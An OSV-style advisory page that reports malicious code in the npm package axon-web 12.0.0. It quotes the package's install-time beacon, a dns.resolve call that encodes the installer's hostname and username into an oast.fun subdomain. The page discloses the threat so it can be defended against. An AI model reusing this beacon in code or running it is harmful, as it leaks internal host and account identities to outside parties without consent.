---
id: "MAL-2026-19222"
page: "https://infrastack.ai/live/MAL-2026-19222"
kind: "package"
aliases: ["MAL-2026-19222"]
title: "Malicious code in axon-web (npm)"
severity: "critical"
cvss: null
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "axon-web", "fixed": [], "affected": "= 12.0.0", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["malicious", "package"]
not_affected_if: []
published_at: "2026-11-13T03:51:42+00:00"
first_seen_at: "2026-11-13T05:11:55+00:00"
updated_at: "2026-11-13T05:14:00+00:00"
sources: [{"source": "osv-malicious", "url": "https://osv.dev/vulnerability/MAL-2026-19222", "first_seen_at": "2026-11-13T05:11:55+00:00"}]
exploit_sources: []
---

# Malicious code in axon-web (npm)

Link for people: https://infrastack.ai/live/MAL-2026-19222 (this .md is for agents)

## Affected

- npm:axon-web affected = 12.0.0 fixed no fixed version listed

## Timeline

- 2026-11-13T05:11:55+00:00 osv-malicious https://osv.dev/vulnerability/MAL-2026-19222

## From the sources

---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (395db55c618565f281d33b84b001d9c395ddcd7456ecc8906e5fd6577c16b3f5)
On module load, index.js reads os.hostname() and process.env.USER/USERNAME and encodes them into a subdomain of an interactsh (oast.fun) out-of-band collector, then performs a DNS resolution against that subdomain (dns.resolve(hostname+'-'+user+'.infpvjkgeazvrvvbtqszbyt7ua3s66fcr.oast.fun')). The DNS query itself transmits the installer's host identity to a third-party OOB listener controlled by whoever provisioned the oast.fun subdomain. The package identifies itself as a dependency-confusion proof-of-concept, and the behavior fires automatically on require() with no caller action required. The beacon reveals internal hostnames and account names of any build system or developer machine that resolves this public npm name instead of an intended internal package of the same name.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_